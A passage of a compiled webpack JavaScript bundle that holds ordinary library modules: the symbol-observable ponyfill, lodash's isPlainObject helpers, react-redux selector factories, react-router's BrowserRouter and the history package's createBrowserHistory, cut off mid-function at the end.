/***/ (function(module, __webpack_exports__, __webpack_require__) {

"use strict";
/* WEBPACK VAR INJECTION */(function(global, module) {/* harmony import */ var __WEBPACK_IMPORTED_MODULE_0__ponyfill_js__ = __webpack_require__(125);
/* global window */


var root;

if (typeof self !== 'undefined') {
  root = self;
} else if (typeof window !== 'undefined') {
  root = window;
} else if (typeof global !== 'undefined') {
  root = global;
} else if (true) {
  root = module;
} else {
  root = Function('return this')();
}

var result = Object(__WEBPACK_IMPORTED_MODULE_0__ponyfill_js__["a" /* default */])(root);
/* harmony default export */ __webpack_exports__["a"] = (result);

/* WEBPACK VAR INJECTION */}.call(__webpack_exports__, __webpack_require__(42), __webpack_require__(124)(module)))

/***/ }),
/* 124 */
/***/ (function(module, exports) {

module.exports = function(originalModule) {
	if(!originalModule.webpackPolyfill) {
		var module = Object.create(originalModule);
		// module.parent = undefined by default
		if(!module.children) module.children = [];
		Object.defineProperty(module, "loaded", {
			enumerable: true,
			get: function() {
				return module.l;
			}
		});
		Object.defineProperty(module, "id", {
			enumerable: true,
			get: function() {
				return module.i;
			}
		});
		Object.defineProperty(module, "exports", {
			enumerable: true,
		});
		module.webpackPolyfill = 1;
	}
	return module;
};


/***/ }),
/* 125 */
/***/ (function(module, __webpack_exports__, __webpack_require__) {

"use strict";
/* harmony export (immutable) */ __webpack_exports__["a"] = symbolObservablePonyfill;
function symbolObservablePonyfill(root) {
	var result;
	var Symbol = root.Symbol;

	if (typeof Symbol === 'function') {
		if (Symbol.observable) {
			result = Symbol.observable;
		} else {
			result = Symbol('observable');
			Symbol.observable = result;
		}
	} else {
		result = '@@observable';
	}

	return result;
};


/***/ }),
/* 126 */
/***/ (function(module, __webpack_exports__, __webpack_require__) {

"use strict";
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_0__baseGetTag_js__ = __webpack_require__(127);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_1__getPrototype_js__ = __webpack_require__(132);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_2__isObjectLike_js__ = __webpack_require__(134);




/** `Object#toString` result references. */
var objectTag = '[object Object]';

/** Used for built-in method references. */
var funcProto = Function.prototype,
    objectProto = Object.prototype;

/** Used to resolve the decompiled source of functions. */
var funcToString = funcProto.toString;

/** Used to check objects for own properties. */
var hasOwnProperty = objectProto.hasOwnProperty;

/** Used to infer the `Object` constructor. */
var objectCtorString = funcToString.call(Object);

/**
 * Checks if `value` is a plain object, that is, an object created by the
 * `Object` constructor or one with a `[[Prototype]]` of `null`.
 *
 * @static
 * @memberOf _
 * @since 0.8.0
 * @category Lang
 * @param {*} value The value to check.
 * @returns {boolean} Returns `true` if `value` is a plain object, else `false`.
 * @example
 *
 * function Foo() {
 *   this.a = 1;
 * }
 *
 * _.isPlainObject(new Foo);
 * // => false
 *
 * _.isPlainObject([1, 2, 3]);
 * // => false
 *
 * _.isPlainObject({ 'x': 0, 'y': 0 });
 * // => true
 *
 * _.isPlainObject(Object.create(null));
 * // => true
 */
function isPlainObject(value) {
  if (!Object(__WEBPACK_IMPORTED_MODULE_2__isObjectLike_js__["a" /* default */])(value) || Object(__WEBPACK_IMPORTED_MODULE_0__baseGetTag_js__["a" /* default */])(value) != objectTag) {
    return false;
  }
  var proto = Object(__WEBPACK_IMPORTED_MODULE_1__getPrototype_js__["a" /* default */])(value);
  if (proto === null) {
    return true;
  }
  var Ctor = hasOwnProperty.call(proto, 'constructor') && proto.constructor;
  return typeof Ctor == 'function' && Ctor instanceof Ctor &&
    funcToString.call(Ctor) == objectCtorString;
}

/* harmony default export */ __webpack_exports__["a"] = (isPlainObject);


/***/ }),
/* 127 */
/***/ (function(module, __webpack_exports__, __webpack_require__) {

"use strict";
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_0__Symbol_js__ = __webpack_require__(73);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_1__getRawTag_js__ = __webpack_require__(130);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_2__objectToString_js__ = __webpack_require__(131);




/** `Object#toString` result references. */
var nullTag = '[object Null]',
    undefinedTag = '[object Undefined]';

/** Built-in value references. */
var symToStringTag = __WEBPACK_IMPORTED_MODULE_0__Symbol_js__["a" /* default */] ? __WEBPACK_IMPORTED_MODULE_0__Symbol_js__["a" /* default */].toStringTag : undefined;

/**
 * The base implementation of `getTag` without fallbacks for buggy environments.
 *
 * @private
 * @param {*} value The value to query.
 * @returns {string} Returns the `toStringTag`.
 */
function baseGetTag(value) {
  if (value == null) {
    return value === undefined ? undefinedTag : nullTag;
  }
  return (symToStringTag && symToStringTag in Object(value))
    ? Object(__WEBPACK_IMPORTED_MODULE_1__getRawTag_js__["a" /* default */])(value)
    : Object(__WEBPACK_IMPORTED_MODULE_2__objectToString_js__["a" /* default */])(value);
}

/* harmony default export */ __webpack_exports__["a"] = (baseGetTag);


/***/ }),
/* 128 */
/***/ (function(module, __webpack_exports__, __webpack_require__) {

"use strict";
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_0__freeGlobal_js__ = __webpack_require__(129);


/** Detect free variable `self`. */
var freeSelf = typeof self == 'object' && self && self.Object === Object && self;

/** Used as a reference to the global object. */
var root = __WEBPACK_IMPORTED_MODULE_0__freeGlobal_js__["a" /* default */] || freeSelf || Function('return this')();

/* harmony default export */ __webpack_exports__["a"] = (root);


/***/ }),
/* 129 */
/***/ (function(module, __webpack_exports__, __webpack_require__) {

"use strict";
/* WEBPACK VAR INJECTION */(function(global) {/** Detect free variable `global` from Node.js. */
var freeGlobal = typeof global == 'object' && global && global.Object === Object && global;

/* harmony default export */ __webpack_exports__["a"] = (freeGlobal);

/* WEBPACK VAR INJECTION */}.call(__webpack_exports__, __webpack_require__(42)))

/***/ }),
/* 130 */
/***/ (function(module, __webpack_exports__, __webpack_require__) {

"use strict";
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_0__Symbol_js__ = __webpack_require__(73);


/** Used for built-in method references. */
var objectProto = Object.prototype;

/** Used to check objects for own properties. */
var hasOwnProperty = objectProto.hasOwnProperty;

/**
 * Used to resolve the
 * [`toStringTag`](http://ecma-international.org/ecma-262/7.0/#sec-object.prototype.tostring)
 * of values.
 */
var nativeObjectToString = objectProto.toString;

/** Built-in value references. */
var symToStringTag = __WEBPACK_IMPORTED_MODULE_0__Symbol_js__["a" /* default */] ? __WEBPACK_IMPORTED_MODULE_0__Symbol_js__["a" /* default */].toStringTag : undefined;

/**
 * A specialized version of `baseGetTag` which ignores `Symbol.toStringTag` values.
 *
 * @private
 * @param {*} value The value to query.
 * @returns {string} Returns the raw `toStringTag`.
 */
function getRawTag(value) {
  var isOwn = hasOwnProperty.call(value, symToStringTag),
      tag = value[symToStringTag];

  try {
    value[symToStringTag] = undefined;
    var unmasked = true;
  } catch (e) {}

  var result = nativeObjectToString.call(value);
  if (unmasked) {
    if (isOwn) {
      value[symToStringTag] = tag;
    } else {
      delete value[symToStringTag];
    }
  }
  return result;
}

/* harmony default export */ __webpack_exports__["a"] = (getRawTag);


/***/ }),
/* 131 */
/***/ (function(module, __webpack_exports__, __webpack_require__) {

"use strict";
/** Used for built-in method references. */
var objectProto = Object.prototype;

/**
 * Used to resolve the
 * [`toStringTag`](http://ecma-international.org/ecma-262/7.0/#sec-object.prototype.tostring)
 * of values.
 */
var nativeObjectToString = objectProto.toString;

/**
 * Converts `value` to a string using `Object.prototype.toString`.
 *
 * @private
 * @param {*} value The value to convert.
 * @returns {string} Returns the converted string.
 */
function objectToString(value) {
  return nativeObjectToString.call(value);
}

/* harmony default export */ __webpack_exports__["a"] = (objectToString);


/***/ }),
/* 132 */
/***/ (function(module, __webpack_exports__, __webpack_require__) {

"use strict";
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_0__overArg_js__ = __webpack_require__(133);


/** Built-in value references. */
var getPrototype = Object(__WEBPACK_IMPORTED_MODULE_0__overArg_js__["a" /* default */])(Object.getPrototypeOf, Object);

/* harmony default export */ __webpack_exports__["a"] = (getPrototype);


/***/ }),
/* 133 */
/***/ (function(module, __webpack_exports__, __webpack_require__) {

"use strict";
/**
 * Creates a unary function that invokes `func` with its argument transformed.
 *
 * @private
 * @param {Function} func The function to wrap.
 * @param {Function} transform The argument transform.
 * @returns {Function} Returns the new function.
 */
function overArg(func, transform) {
  return function(arg) {
    return func(transform(arg));
  };
}

/* harmony default export */ __webpack_exports__["a"] = (overArg);


/***/ }),
/* 134 */
/***/ (function(module, __webpack_exports__, __webpack_require__) {

"use strict";
/**
 * Checks if `value` is object-like. A value is object-like if it's not `null`
 * and has a `typeof` result of "object".
 *
 * @static
 * @memberOf _
 * @since 4.0.0
 * @category Lang
 * @param {*} value The value to check.
 * @returns {boolean} Returns `true` if `value` is object-like, else `false`.
 * @example
 *
 * _.isObjectLike({});
 * // => true
 *
 * _.isObjectLike([1, 2, 3]);
 * // => true
 *
 * _.isObjectLike(_.noop);
 * // => false
 *
 * _.isObjectLike(null);
 * // => false
 */
function isObjectLike(value) {
  return value != null && typeof value == 'object';
}

/* harmony default export */ __webpack_exports__["a"] = (isObjectLike);


/***/ }),
/* 135 */
/***/ (function(module, __webpack_exports__, __webpack_require__) {

"use strict";
/* unused harmony export whenMapStateToPropsIsFunction */
/* unused harmony export whenMapStateToPropsIsMissing */
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_0__wrapMapToProps__ = __webpack_require__(71);


function whenMapStateToPropsIsFunction(mapStateToProps) {
  return typeof mapStateToProps === 'function' ? Object(__WEBPACK_IMPORTED_MODULE_0__wrapMapToProps__["b" /* wrapMapToPropsFunc */])(mapStateToProps, 'mapStateToProps') : undefined;
}

function whenMapStateToPropsIsMissing(mapStateToProps) {
  return !mapStateToProps ? Object(__WEBPACK_IMPORTED_MODULE_0__wrapMapToProps__["a" /* wrapMapToPropsConstant */])(function () {
    return {};
  }) : undefined;
}

/* harmony default export */ __webpack_exports__["a"] = ([whenMapStateToPropsIsFunction, whenMapStateToPropsIsMissing]);

/***/ }),
/* 136 */
/***/ (function(module, __webpack_exports__, __webpack_require__) {

"use strict";
/* WEBPACK VAR INJECTION */(function(process) {/* unused harmony export defaultMergeProps */
/* unused harmony export wrapMergePropsFunc */
/* unused harmony export whenMergePropsIsFunction */
/* unused harmony export whenMergePropsIsOmitted */
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_0__utils_verifyPlainObject__ = __webpack_require__(72);
var _extends = Object.assign || function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i]; for (var key in source) { if (Object.prototype.hasOwnProperty.call(source, key)) { target[key] = source[key]; } } } return target; };



function defaultMergeProps(stateProps, dispatchProps, ownProps) {
  return _extends({}, ownProps, stateProps, dispatchProps);
}

function wrapMergePropsFunc(mergeProps) {
  return function initMergePropsProxy(dispatch, _ref) {
    var displayName = _ref.displayName,
        pure = _ref.pure,
        areMergedPropsEqual = _ref.areMergedPropsEqual;

    var hasRunOnce = false;
    var mergedProps = void 0;

    return function mergePropsProxy(stateProps, dispatchProps, ownProps) {
      var nextMergedProps = mergeProps(stateProps, dispatchProps, ownProps);

      if (hasRunOnce) {
        if (!pure || !areMergedPropsEqual(nextMergedProps, mergedProps)) mergedProps = nextMergedProps;
      } else {
        hasRunOnce = true;
        mergedProps = nextMergedProps;

        if (process.env.NODE_ENV !== 'production') Object(__WEBPACK_IMPORTED_MODULE_0__utils_verifyPlainObject__["a" /* default */])(mergedProps, displayName, 'mergeProps');
      }

      return mergedProps;
    };
  };
}

function whenMergePropsIsFunction(mergeProps) {
  return typeof mergeProps === 'function' ? wrapMergePropsFunc(mergeProps) : undefined;
}

function whenMergePropsIsOmitted(mergeProps) {
  return !mergeProps ? function () {
    return defaultMergeProps;
  } : undefined;
}

/* harmony default export */ __webpack_exports__["a"] = ([whenMergePropsIsFunction, whenMergePropsIsOmitted]);
/* WEBPACK VAR INJECTION */}.call(__webpack_exports__, __webpack_require__(2)))

/***/ }),
/* 137 */
/***/ (function(module, __webpack_exports__, __webpack_require__) {

"use strict";
/* WEBPACK VAR INJECTION */(function(process) {/* unused harmony export impureFinalPropsSelectorFactory */
/* unused harmony export pureFinalPropsSelectorFactory */
/* harmony export (immutable) */ __webpack_exports__["a"] = finalPropsSelectorFactory;
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_0__verifySubselectors__ = __webpack_require__(138);
function _objectWithoutProperties(obj, keys) { var target = {}; for (var i in obj) { if (keys.indexOf(i) >= 0) continue; if (!Object.prototype.hasOwnProperty.call(obj, i)) continue; target[i] = obj[i]; } return target; }



function impureFinalPropsSelectorFactory(mapStateToProps, mapDispatchToProps, mergeProps, dispatch) {
  return function impureFinalPropsSelector(state, ownProps) {
    return mergeProps(mapStateToProps(state, ownProps), mapDispatchToProps(dispatch, ownProps), ownProps);
  };
}

function pureFinalPropsSelectorFactory(mapStateToProps, mapDispatchToProps, mergeProps, dispatch, _ref) {
  var areStatesEqual = _ref.areStatesEqual,
      areOwnPropsEqual = _ref.areOwnPropsEqual,
      areStatePropsEqual = _ref.areStatePropsEqual;

  var hasRunAtLeastOnce = false;
  var state = void 0;
  var ownProps = void 0;
  var stateProps = void 0;
  var dispatchProps = void 0;
  var mergedProps = void 0;

  function handleFirstCall(firstState, firstOwnProps) {
    state = firstState;
    ownProps = firstOwnProps;
    stateProps = mapStateToProps(state, ownProps);
    dispatchProps = mapDispatchToProps(dispatch, ownProps);
    mergedProps = mergeProps(stateProps, dispatchProps, ownProps);
    hasRunAtLeastOnce = true;
    return mergedProps;
  }

  function handleNewPropsAndNewState() {
    stateProps = mapStateToProps(state, ownProps);

    if (mapDispatchToProps.dependsOnOwnProps) dispatchProps = mapDispatchToProps(dispatch, ownProps);

    mergedProps = mergeProps(stateProps, dispatchProps, ownProps);
    return mergedProps;
  }

  function handleNewProps() {
    if (mapStateToProps.dependsOnOwnProps) stateProps = mapStateToProps(state, ownProps);

    if (mapDispatchToProps.dependsOnOwnProps) dispatchProps = mapDispatchToProps(dispatch, ownProps);

    mergedProps = mergeProps(stateProps, dispatchProps, ownProps);
    return mergedProps;
  }

  function handleNewState() {
    var nextStateProps = mapStateToProps(state, ownProps);
    var statePropsChanged = !areStatePropsEqual(nextStateProps, stateProps);
    stateProps = nextStateProps;

    if (statePropsChanged) mergedProps = mergeProps(stateProps, dispatchProps, ownProps);

    return mergedProps;
  }

  function handleSubsequentCalls(nextState, nextOwnProps) {
    var propsChanged = !areOwnPropsEqual(nextOwnProps, ownProps);
    var stateChanged = !areStatesEqual(nextState, state);
    state = nextState;
    ownProps = nextOwnProps;

    if (propsChanged && stateChanged) return handleNewPropsAndNewState();
    if (propsChanged) return handleNewProps();
    if (stateChanged) return handleNewState();
    return mergedProps;
  }

  return function pureFinalPropsSelector(nextState, nextOwnProps) {
    return hasRunAtLeastOnce ? handleSubsequentCalls(nextState, nextOwnProps) : handleFirstCall(nextState, nextOwnProps);
  };
}

// TODO: Add more comments

// If pure is true, the selector returned by selectorFactory will memoize its results,
// allowing connectAdvanced's shouldComponentUpdate to return false if final
// props have not changed. If false, the selector will always return a new
// object and shouldComponentUpdate will always return true.

function finalPropsSelectorFactory(dispatch, _ref2) {
  var initMapStateToProps = _ref2.initMapStateToProps,
      initMapDispatchToProps = _ref2.initMapDispatchToProps,
      initMergeProps = _ref2.initMergeProps,
      options = _objectWithoutProperties(_ref2, ['initMapStateToProps', 'initMapDispatchToProps', 'initMergeProps']);

  var mapStateToProps = initMapStateToProps(dispatch, options);
  var mapDispatchToProps = initMapDispatchToProps(dispatch, options);
  var mergeProps = initMergeProps(dispatch, options);

  if (process.env.NODE_ENV !== 'production') {
    Object(__WEBPACK_IMPORTED_MODULE_0__verifySubselectors__["a" /* default */])(mapStateToProps, mapDispatchToProps, mergeProps, options.displayName);
  }

  var selectorFactory = options.pure ? pureFinalPropsSelectorFactory : impureFinalPropsSelectorFactory;

  return selectorFactory(mapStateToProps, mapDispatchToProps, mergeProps, dispatch, options);
}
/* WEBPACK VAR INJECTION */}.call(__webpack_exports__, __webpack_require__(2)))

/***/ }),
/* 138 */
/***/ (function(module, __webpack_exports__, __webpack_require__) {

"use strict";
/* harmony export (immutable) */ __webpack_exports__["a"] = verifySubselectors;
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_0__utils_warning__ = __webpack_require__(45);


function verify(selector, methodName, displayName) {
  if (!selector) {
    throw new Error('Unexpected value for ' + methodName + ' in ' + displayName + '.');
  } else if (methodName === 'mapStateToProps' || methodName === 'mapDispatchToProps') {
    if (!selector.hasOwnProperty('dependsOnOwnProps')) {
      Object(__WEBPACK_IMPORTED_MODULE_0__utils_warning__["a" /* default */])('The selector for ' + methodName + ' of ' + displayName + ' did not specify a value for dependsOnOwnProps.');
    }
  }
}

function verifySubselectors(mapStateToProps, mapDispatchToProps, mergeProps, displayName) {
  verify(mapStateToProps, 'mapStateToProps', displayName);
  verify(mapDispatchToProps, 'mapDispatchToProps', displayName);
  verify(mergeProps, 'mergeProps', displayName);
}

/***/ }),
/* 139 */
/***/ (function(module, __webpack_exports__, __webpack_require__) {

"use strict";
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_0_warning__ = __webpack_require__(19);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_0_warning___default = __webpack_require__.n(__WEBPACK_IMPORTED_MODULE_0_warning__);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_1_react__ = __webpack_require__(0);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_1_react___default = __webpack_require__.n(__WEBPACK_IMPORTED_MODULE_1_react__);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_2_prop_types__ = __webpack_require__(9);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_2_prop_types___default = __webpack_require__.n(__WEBPACK_IMPORTED_MODULE_2_prop_types__);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_3_history__ = __webpack_require__(24);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_4__Router__ = __webpack_require__(47);
function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }

function _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return call && (typeof call === "object" || typeof call === "function") ? call : self; }

function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function, not " + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }







/**
 * The public API for a <Router> that uses HTML5 history.
 */

var BrowserRouter = function (_React$Component) {
  _inherits(BrowserRouter, _React$Component);

  function BrowserRouter() {
    var _temp, _this, _ret;

    _classCallCheck(this, BrowserRouter);

    for (var _len = arguments.length, args = Array(_len), _key = 0; _key < _len; _key++) {
      args[_key] = arguments[_key];
    }

    return _ret = (_temp = (_this = _possibleConstructorReturn(this, _React$Component.call.apply(_React$Component, [this].concat(args))), _this), _this.history = Object(__WEBPACK_IMPORTED_MODULE_3_history__["a" /* createBrowserHistory */])(_this.props), _temp), _possibleConstructorReturn(_this, _ret);
  }

  BrowserRouter.prototype.componentWillMount = function componentWillMount() {
    __WEBPACK_IMPORTED_MODULE_0_warning___default()(!this.props.history, "<BrowserRouter> ignores the history prop. To use a custom history, " + "use `import { Router }` instead of `import { BrowserRouter as Router }`.");
  };

  BrowserRouter.prototype.render = function render() {
    return __WEBPACK_IMPORTED_MODULE_1_react___default.a.createElement(__WEBPACK_IMPORTED_MODULE_4__Router__["a" /* default */], { history: this.history, children: this.props.children });
  };

  return BrowserRouter;
}(__WEBPACK_IMPORTED_MODULE_1_react___default.a.Component);

BrowserRouter.propTypes = {
  basename: __WEBPACK_IMPORTED_MODULE_2_prop_types___default.a.string,
  forceRefresh: __WEBPACK_IMPORTED_MODULE_2_prop_types___default.a.bool,
  getUserConfirmation: __WEBPACK_IMPORTED_MODULE_2_prop_types___default.a.func,
  keyLength: __WEBPACK_IMPORTED_MODULE_2_prop_types___default.a.number,
  children: __WEBPACK_IMPORTED_MODULE_2_prop_types___default.a.node
};


/* harmony default export */ __webpack_exports__["a"] = (BrowserRouter);

/***/ }),
/* 140 */
/***/ (function(module, __webpack_exports__, __webpack_require__) {

"use strict";
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_0_warning__ = __webpack_require__(33);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_0_warning___default = __webpack_require__.n(__WEBPACK_IMPORTED_MODULE_0_warning__);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_1_invariant__ = __webpack_require__(15);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_1_invariant___default = __webpack_require__.n(__WEBPACK_IMPORTED_MODULE_1_invariant__);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_2__LocationUtils__ = __webpack_require__(34);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_3__PathUtils__ = __webpack_require__(28);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_4__createTransitionManager__ = __webpack_require__(46);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_5__DOMUtils__ = __webpack_require__(74);
var _typeof = typeof Symbol === "function" && typeof Symbol.iterator === "symbol" ? function (obj) { return typeof obj; } : function (obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; };

var _extends = Object.assign || function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i]; for (var key in source) { if (Object.prototype.hasOwnProperty.call(source, key)) { target[key] = source[key]; } } } return target; };








var PopStateEvent = 'popstate';
var HashChangeEvent = 'hashchange';

var getHistoryState = function getHistoryState() {
  try {
    return window.history.state || {};
  } catch (e) {
    // IE 11 sometimes throws when accessing window.history.state
    // See https://github.com/ReactTraining/history/pull/289
    return {};
  }
};

/**
 * Creates a history object that uses the HTML5 history API including
 * pushState, replaceState, and the popstate event.
 */
var createBrowserHistory = function createBrowserHistory() {
  var props = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : {};

  __WEBPACK_IMPORTED_MODULE_1_invariant___default()(__WEBPACK_IMPORTED_MODULE_5__DOMUtils__["b" /* canUseDOM */], 'Browser history needs a DOM');

  var globalHistory = window.history;
  var canUseHistory = Object(__WEBPACK_IMPORTED_MODULE_5__DOMUtils__["g" /* supportsHistory */])();
  var needsHashChangeListener = !Object(__WEBPACK_IMPORTED_MODULE_5__DOMUtils__["h" /* supportsPopStateOnHashChange */])();

  var _props$forceRefresh = props.forceRefresh,
      forceRefresh = _props$forceRefresh === undefined ? false : _props$forceRefresh,
      _props$getUserConfirm = props.getUserConfirmation,
      getUserConfirmation = _props$getUserConfirm === undefined ? __WEBPACK_IMPORTED_MODULE_5__DOMUtils__["c" /* getConfirmation */] : _props$getUserConfirm,
      _props$keyLength = props.keyLength,
      keyLength = _props$keyLength === undefined ? 6 : _props$keyLength;

  var basename = props.basename ? Object(__WEBPACK_IMPORTED_MODULE_3__PathUtils__["g" /* stripTrailingSlash */])(Object(__WEBPACK_IMPORTED_MODULE_3__PathUtils__["a" /* addLeadingSlash */])(props.basename)) : '';

  var getDOMLocation = function getDOMLocation(historyState) {
    var _ref = historyState || {},
        key = _ref.key,
        state = _ref.state;

    var _window$location = window.location,
        pathname = _window$location.pathname,
        search = _window$location.search,
        hash = _window$location.hash;


    var path = pathname + search + hash;

    __WEBPACK_IMPORTED_MODULE_0_warning___default()(!basename || Object(__WEBPACK_IMPORTED_MODULE_3__PathUtils__["c" /* hasBasename */])(path, basename), 'You are attempting to use a basename on a page whose URL path does not begin ' + 'with the basename. Expected path "' + path + '" to begin with "' + basename + '".');

    if (basename) path = Object(__WEBPACK_IMPORTED_MODULE_3__PathUtils__["e" /* stripBasename */])(path, basename);

    return Object(__WEBPACK_IMPORTED_MODULE_2__LocationUtils__["a" /* createLocation */])(path, state, key);
  };

  var createKey = function createKey() {
    return Math.random().toString(36).substr(2, keyLength);
  };

  var transitionManager = Object(__WEBPACK_IMPORTED_MODULE_4__createTransitionManager__["a" /* default */])();

  var setState = function setState(nextState) {
    _extends(history, nextState);

    history.length = globalHistory.length;

    transitionManager.notifyListeners(history.location, history.action);
  };

  var handlePopState = function handlePopState(event) {
    // Ignore extraneous popstate events in WebKit.
    if (Object(__WEBPACK_IMPORTED_MODULE_5__DOMUtils__["d" /* isExtraneousPopstateEvent */])(event)) return;

    handlePop(getDOMLocation(event.state));
  };

  var handleHashChange = function handleHashChange() {
    handlePop(getDOMLocation(getHistoryState()));
  };

  var forceNextPop = false;

  var handlePop = function handlePop(location) {
    if (forceNextPop) {
      forceNextPop = false;
      setState();
    } else {
      var action = 'POP';

      transitionManager.confirmTransitionTo(location, action, getUserConfirmation, function (ok) {
        if (ok) {
          setState({ action: action, location: location });
        } else {
          revertPop(location);
        }
      });
    }
  };

  var revertPop = function revertPop(fromLocation) {
    var toLocation = history.location;

    // TODO: We could probably make this more reliable by
    // keeping a list of keys we've seen in sessionStorage.
    // Instead, we just default to 0 for keys we don't know.

    var toIndex = allKeys.indexOf(toLocation.key);

    if (toIndex === -1) toIndex = 0;

    var fromIndex = allKeys.indexOf(fromLocation.key);

    if (fromIndex === -1) fromIndex = 0;

    var delta = toIndex - fromIndex;

    if (delta) {
      forceNextPop = true;
      go(delta);
    }
  };

  var initialLocation = getDOMLocation(getHistoryState());
  var allKeys = [initialLocation.key];

  // Public interface

  var createHref = function createHref(location) {
    return basename + Object(__WEBPACK_IMPORTED_MODULE_3__PathUtils__["b" /* createPath */])(location);
  };

  var push = function push(path, state) {
    __WEBPACK_IMPORTED_MODULE_0_warning___default()(!((typeof path === 'undefined' ? 'undefined' : _typeof(path)) === 'object' && path.state !== undefined && state !== undefined), 'You should avoid providing a 2nd state argument to push when the 1st ' + 'argument is a location-like object that already has state; it is ignored');

    var action = 'PUSH';
    var location = Object(__WEBPACK_IMPORTED_MODULE_2__LocationUtils__["a" /* createLocation */])(path, state, createKey(), history.location);

    transitionManager.confirmTransitionTo(location, action, getUserConfirmation, function (ok) {
      if (!ok) return;

      var href = createHref(location);
      var key = location.key,
          state = location.state;


      if (canUseHistory) {
        globalHistory.pushState({ key: key, state: state }, null, href);

        if (forceRefresh) {
          window.location.href = href;
        } else {
          var prevIndex = allKeys.indexOf(history.location.key);
          var nextKeys = allKeys.slice(0, prevIndex === -1 ? 0 : prevIndex + 1);

          nextKeys.push(location.key);
          allKeys = nextKeys;

          setState({ action: action, location: location });
        }
      } else {
        __WEBPACK_IMPORTED_MODULE_0_warning___default()(state === undefined, 'Browser history cannot push state in browsers that do not support HTML5 history');

        window.location.href = href;
      }
    });
  };

  var replace = function replace(path, state) {
    __WEBPACK_IMPORTED_MODULE_0_warning___default()(!((typeof path === 'undefined' ? 'undefined' : _typeof(path)) === 'object' && path.state !== undefined && state !== undefined), 'You should avoid providing a 2nd state argument to replace when the 1st ' + 'argument is a location-like object that already has state; it is ignored');

    var action = 'REPLACE';
    var location = Object(__WEBPACK_IMPORTED_MODULE_2__LocationUtils__["a" /* createLocation */])(path, state, createKey(), history.location);

    transitionManager.confirmTransitionTo(location, action, getUserConfirmation, function (ok) {
      if (!ok) return;

      var href = createHref(location);
      var key = location.key,
          state = location.state;


      if (canUseHistory) {
        globalHistory.replaceState({ key: key, state: state }, null, href);

        if (forceRefresh) {
          window.location.replace(href);
        } else {
          var prevIndex = allKeys.indexOf(history.location.key);

          if (prevIndex !== -1) allKeys[prevIndex] = location.key;

          setState({ action: action, location: location });
        }
      } else {
        __WEBPACK_IMPORTED_MODULE_0_warning___default()(state === undefined, 'Browser history cannot replace state in browsers that do not support HTML5 history');

        window.location.replace(href);
      }
    });
  };

  var go = function go(n) {
    globalHistory.go(n);
  };

  var goBack = function goBack() {
    return go(-1);
  };

  var goForward = function goForward() {
    return go(1);
  };

  var listenerCount = 0;

  var checkDOMListeners = function checkDOMListeners(delta) {
    listenerCount += delta;

    if (listenerCount === 1) {
      Object(__WEBPACK_IMPORTED_MODULE_5__DOMUtils__["a" /* addEventListener */])(window, PopStateEvent, handlePopState);

      if (needsHashChangeListener) Object(__WEBPACK_IMPORTED_MODULE_5__DOMUtils__["a" /* addEventListener */])(window, HashChangeEvent, handleHashChange);
    } else if (listenerCount === 0) {
      Object(__WEBPACK_IMPORTED_MODULE_5__DOMUtils__["e" /* removeEventListener */])(window, PopStateEvent, handlePopState);

      if (needsHashChangeListener) Object(__WEBPACK_IMPORTED_MODULE_5__DOMUtils__["e" /* removeEventListener */])(window, HashChangeEvent, handleHashChange);
    }
  };

  var isBlocked = false;

  var block = function block() {
    var prompt = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : false;

    var unblock = transitionManager.setPrompt(prompt);

    if (!isBlocked) {
      checkDOMListeners(1);
      isBlocked = true;
    }

    return function () {
      if (isBlocked) {
        isBlocked = false;
        checkDOMListeners(-1);
      }

      return unblock();
    };
  };

  var listen = function listen(listener) {
    var unlisten = transitionManager.appendListener(listener);
    checkDOMListeners(1);

    return function () {
      checkDOMListeners(-1);
      unlisten();
    };
  };

  var history = {
    length: globalHistory.length,
    action: 'POP',
    location: initialLocation,
    createHref: createHref,
    push: push,
    replace: replace,
    go: go,
    goBack: goBack,
    goForward: goForward,
    block: block,
    listen: listen
  };

  return history;
};

/* harmony default export */ __webpack_exports__["a"] = (createBrowserHistory);

/***/ }),
/* 141 */
/***/ (function(module, __webpack_exports__, __webpack_require__) {

"use strict";
function isAbsolute(pathname) {
  return pathname.charAt(0) === '/';
}

// About 1.5x faster than the two-arg version of Array#splice()
function spliceOne(list, index) {
